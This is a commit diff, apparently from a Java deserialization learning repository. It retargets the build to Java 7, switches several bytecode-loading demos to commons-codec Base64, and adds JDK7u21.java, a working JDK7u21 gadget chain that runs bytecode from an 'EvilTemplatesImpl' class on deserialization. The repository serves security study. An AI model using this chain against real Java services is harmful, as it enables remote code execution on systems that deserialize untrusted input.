| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,19 @@ | |||
| 1 | + <?xml version="1.0" encoding="UTF-8"?> | ||
| 2 | + <module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4"> | ||
| 3 | + <component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_7"> | ||
| 4 | + <output url="file://$MODULE_DIR$/target/classes" /> | ||
| 5 | + <output-test url="file://$MODULE_DIR$/target/test-classes" /> | ||
| 6 | + <content url="file://$MODULE_DIR$"> | ||
| 7 | + <sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" /> | ||
| 8 | + <excludeFolder url="file://$MODULE_DIR$/target" /> | ||
| 9 | + </content> | ||
| 10 | + <orderEntry type="inheritedJdk" /> | ||
| 11 | + <orderEntry type="sourceFolder" forTests="false" /> | ||
| 12 | + <orderEntry type="library" name="Maven: commons-collections:commons-collections:3.2.1" level="project" /> | ||
| 13 | + <orderEntry type="library" name="Maven: org.apache.commons:commons-collections4:4.0" level="project" /> | ||
| 14 | + <orderEntry type="library" name="Maven: commons-beanutils:commons-beanutils:1.9.4" level="project" /> | ||
| 15 | + <orderEntry type="library" name="Maven: commons-logging:commons-logging:1.2" level="project" /> | ||
| 16 | + <orderEntry type="library" name="Maven: javassist:javassist:3.12.1.GA" level="project" /> | ||
| 17 | + <orderEntry type="library" name="Maven: commons-codec:commons-codec:1.15" level="project" /> | ||
| 18 | + </component> | ||
| 19 | + </module> | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -14,8 +14,8 @@ | |||
| 14 | 14 | ||
| 15 | 15 | <properties> | |
| 16 | 16 | <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> | |
| 17 | - <maven.compiler.source>1.8</maven.compiler.source> | ||
| 18 | - <maven.compiler.target>1.8</maven.compiler.target> | ||
| 17 | + <maven.compiler.source>1.7</maven.compiler.source> | ||
| 18 | + <maven.compiler.target>1.7</maven.compiler.target> | ||
| 19 | 19 | </properties> | |
| 20 | 20 | ||
| 21 | 21 | <dependencies> | |
@@ -42,6 +42,13 @@ | |||
| 42 | 42 | <artifactId>javassist</artifactId> | |
| 43 | 43 | <version>3.12.1.GA</version> | |
| 44 | 44 | </dependency> | |
| 45 | + <!-- https://mvnrepository.com/artifact/commons-codec/commons-codec --> | ||
| 46 | + <dependency> | ||
| 47 | + <groupId>commons-codec</groupId> | ||
| 48 | + <artifactId>commons-codec</artifactId> | ||
| 49 | + <version>1.15</version> | ||
| 50 | + </dependency> | ||
| 51 | + | ||
| 45 | 52 | </dependencies> | |
| 46 | 53 | ||
| 47 | 54 | <build> | |
@@ -94,8 +101,8 @@ | |||
| 94 | 101 | <groupId>org.apache.maven.plugins</groupId> | |
| 95 | 102 | <artifactId>maven-compiler-plugin</artifactId> | |
| 96 | 103 | <configuration> | |
| 97 | - <source>8</source> | ||
| 98 | - <target>8</target> | ||
| 104 | + <source>7</source> | ||
| 105 | + <target>7</target> | ||
| 99 | 106 | </configuration> | |
| 100 | 107 | </plugin> | |
| 101 | 108 | </plugins> | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,15 +1,16 @@ | |||
| 1 | 1 | package com.govuln.bytes; | |
| 2 | 2 | ||
| 3 | + import org.apache.commons.codec.binary.Base64; | ||
| 4 | + | ||
| 3 | 5 | import java.lang.reflect.Method; | |
| 4 | - import java.util.Base64; | ||
| 5 | 6 | ||
| 6 | 7 | public class HelloDefineClass { | |
| 7 | 8 | public static void main(String[] args) throws Exception { | |
| 8 | 9 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); | |
| 9 | 10 | defineClass.setAccessible(true); | |
| 10 | 11 | ||
| 11 | 12 | // source: bytecodes/Hello.java | |
| 12 | - byte[] code = Base64.getDecoder().decode("yv66vgAAADQAHAoABgAOCQAPABAIABEKABIAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAHAAgHABYMABcAGAEAC0hlbGxvIFdvcmxkBwAZDAAaABsBAAVIZWxsbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAIAAQAHAAgAAQAJAAAAHQABAAEAAAAFKrcAAbEAAAABAAoAAAAGAAEAAAACAAgACwAIAAEACQAAACUAAgAAAAAACbIAAhIDtgAEsQAAAAEACgAAAAoAAgAAAAQACAAFAAEADAAAAAIADQ=="); | ||
| 13 | + byte[] code = Base64.decodeBase64("yv66vgAAADQAHAoABgAOCQAPABAIABEKABIAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAHAAgHABYMABcAGAEAC0hlbGxvIFdvcmxkBwAZDAAaABsBAAVIZWxsbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAIAAQAHAAgAAQAJAAAAHQABAAEAAAAFKrcAAbEAAAABAAoAAAAGAAEAAAACAAgACwAIAAEACQAAACUAAgAAAAAACbIAAhIDtgAEsQAAAAEACgAAAAoAAgAAAAQACAAFAAEADAAAAAIADQ=="); | ||
| 13 | 14 | Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length); | |
| 14 | 15 | hello.newInstance(); | |
| 15 | 16 | } | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -2,9 +2,9 @@ | |||
| 2 | 2 | ||
| 3 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
| 4 | 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
| 5 | + import org.apache.commons.codec.binary.Base64; | ||
| 5 | 6 | ||
| 6 | 7 | import java.lang.reflect.Field; | |
| 7 | - import java.util.Base64; | ||
| 8 | 8 | ||
| 9 | 9 | public class HelloTemplatesImpl { | |
| 10 | 10 | public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { | |
@@ -15,7 +15,7 @@ public static void setFieldValue(Object obj, String fieldName, Object value) thr | |||
| 15 | 15 | ||
| 16 | 16 | public static void main(String[] args) throws Exception { | |
| 17 | 17 | // source: bytecodes/HelloTemplateImpl.java | |
| 18 | - byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); | ||
| 18 | + byte[] code = Base64.decodeBase64("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); | ||
| 19 | 19 | TemplatesImpl obj = new TemplatesImpl(); | |
| 20 | 20 | setFieldValue(obj, "_bytecodes", new byte[][] {code}); | |
| 21 | 21 | setFieldValue(obj, "_name", "HelloTemplatesImpl"); | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -20,7 +20,6 @@ | |||
| 20 | 20 | import java.lang.reflect.Constructor; | |
| 21 | 21 | import java.lang.reflect.Field; | |
| 22 | 22 | import java.lang.reflect.InvocationHandler; | |
| 23 | - import java.util.Base64; | ||
| 24 | 23 | import java.util.HashMap; | |
| 25 | 24 | import java.util.Map; | |
| 26 | 25 | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -2,14 +2,14 @@ | |||
| 2 | 2 | ||
| 3 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
| 4 | 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
| 5 | + import org.apache.commons.codec.binary.Base64; | ||
| 5 | 6 | import org.apache.commons.collections.functors.ChainedTransformer; | |
| 6 | 7 | import org.apache.commons.collections.functors.ConstantTransformer; | |
| 7 | 8 | import org.apache.commons.collections.functors.InvokerTransformer; | |
| 8 | 9 | import org.apache.commons.collections.map.TransformedMap; | |
| 9 | 10 | import org.apache.commons.collections.Transformer; | |
| 10 | 11 | ||
| 11 | 12 | import java.lang.reflect.Field; | |
| 12 | - import java.util.Base64; | ||
| 13 | 13 | import java.util.HashMap; | |
| 14 | 14 | import java.util.Map; | |
| 15 | 15 | ||
@@ -22,7 +22,7 @@ public static void setFieldValue(Object obj, String fieldName, Object value) thr | |||
| 22 | 22 | ||
| 23 | 23 | public static void main(String[] args) throws Exception { | |
| 24 | 24 | // source: bytecodes/HelloTemplateImpl.java | |
| 25 | - byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); | ||
| 25 | + byte[] code = Base64.decodeBase64("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); | ||
| 26 | 26 | TemplatesImpl obj = new TemplatesImpl(); | |
| 27 | 27 | setFieldValue(obj, "_bytecodes", new byte[][] {code}); | |
| 28 | 28 | setFieldValue(obj, "_name", "HelloTemplatesImpl"); | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -3,6 +3,7 @@ | |||
| 3 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
| 4 | 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; | |
| 5 | 5 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
| 6 | + import org.apache.commons.codec.binary.Base64; | ||
| 6 | 7 | import org.apache.commons.collections.functors.ChainedTransformer; | |
| 7 | 8 | import org.apache.commons.collections.functors.ConstantTransformer; | |
| 8 | 9 | import org.apache.commons.collections.functors.InstantiateTransformer; | |
@@ -11,7 +12,6 @@ | |||
| 11 | 12 | ||
| 12 | 13 | import javax.xml.transform.Templates; | |
| 13 | 14 | import java.lang.reflect.Field; | |
| 14 | - import java.util.Base64; | ||
| 15 | 15 | import java.util.HashMap; | |
| 16 | 16 | import java.util.Map; | |
| 17 | 17 | ||
@@ -24,7 +24,7 @@ public static void setFieldValue(Object obj, String fieldName, Object value) thr | |||
| 24 | 24 | ||
| 25 | 25 | public static void main(String[] args) throws Exception { | |
| 26 | 26 | // source: bytecodes/HelloTemplateImpl.java | |
| 27 | - byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); | ||
| 27 | + byte[] code = Base64.decodeBase64("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); | ||
| 28 | 28 | TemplatesImpl obj = new TemplatesImpl(); | |
| 29 | 29 | setFieldValue(obj, "_bytecodes", new byte[][] {code}); | |
| 30 | 30 | setFieldValue(obj, "_name", "HelloTemplatesImpl"); | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,66 @@ | |||
| 1 | + package com.govuln.deserialization; | ||
| 2 | + | ||
| 3 | + import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | ||
| 4 | + import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | ||
| 5 | + import javassist.ClassPool; | ||
| 6 | + import org.apache.commons.codec.binary.Base64; | ||
| 7 | + | ||
| 8 | + import javax.xml.transform.Templates; | ||
| 9 | + import java.io.ByteArrayInputStream; | ||
| 10 | + import java.io.ByteArrayOutputStream; | ||
| 11 | + import java.io.ObjectInputStream; | ||
| 12 | + import java.io.ObjectOutputStream; | ||
| 13 | + import java.lang.reflect.Constructor; | ||
| 14 | + import java.lang.reflect.Field; | ||
| 15 | + import java.lang.reflect.InvocationHandler; | ||
| 16 | + import java.lang.reflect.Proxy; | ||
| 17 | + import java.util.HashMap; | ||
| 18 | + import java.util.LinkedHashSet; | ||
| 19 | + import java.util.Map; | ||
| 20 | + | ||
| 21 | + public class JDK7u21 { | ||
| 22 | + public static void main(String[] args) throws Exception { | ||
| 23 | + TemplatesImpl templates = new TemplatesImpl(); | ||
| 24 | + setFieldValue(templates, "_bytecodes", new byte[][]{ | ||
| 25 | + ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() | ||
| 26 | + }); | ||
| 27 | + setFieldValue(templates, "_name", "HelloTemplatesImpl"); | ||
| 28 | + setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); | ||
| 29 | + | ||
| 30 | + String zeroHashCodeStr = "f5a5a608"; | ||
| 31 | + | ||
| 32 | + HashMap map = new HashMap(); | ||
| 33 | + map.put(zeroHashCodeStr, "foo"); | ||
| 34 | + | ||
| 35 | + Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); | ||
| 36 | + handlerConstructor.setAccessible(true); | ||
| 37 | + InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Override.class, map); | ||
| 38 | + | ||
| 39 | + setFieldValue(tempHandler, "type", Templates.class); | ||
| 40 | + Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler); | ||
| 41 | + | ||
| 42 | + LinkedHashSet set = new LinkedHashSet(); // maintain order | ||
| 43 | + set.add(templates); | ||
| 44 | + set.add(proxy); | ||
| 45 | + | ||
| 46 | + setFieldValue(templates, "_auxClasses", null); | ||
| 47 | + setFieldValue(templates, "_class", null); | ||
| 48 | + | ||
| 49 | + map.put(zeroHashCodeStr, templates); // swap in real object | ||
| 50 | + | ||
| 51 | + ByteArrayOutputStream barr = new ByteArrayOutputStream(); | ||
| 52 | + ObjectOutputStream oos = new ObjectOutputStream(barr); | ||
| 53 | + oos.writeObject(set); | ||
| 54 | + oos.close(); | ||
| 55 | + | ||
| 56 | + System.out.println(barr); | ||
| 57 | + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); | ||
| 58 | + Object o = (Object)ois.readObject(); | ||
| 59 | + } | ||
| 60 | + | ||
| 61 | + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { | ||
| 62 | + Field field = obj.getClass().getDeclaredField(fieldName); | ||
| 63 | + field.setAccessible(true); | ||
| 64 | + field.set(obj, value); | ||
| 65 | + } | ||
| 66 | + } | ||
| Back | FazBrowse Home | New Git URL |
0 commit comments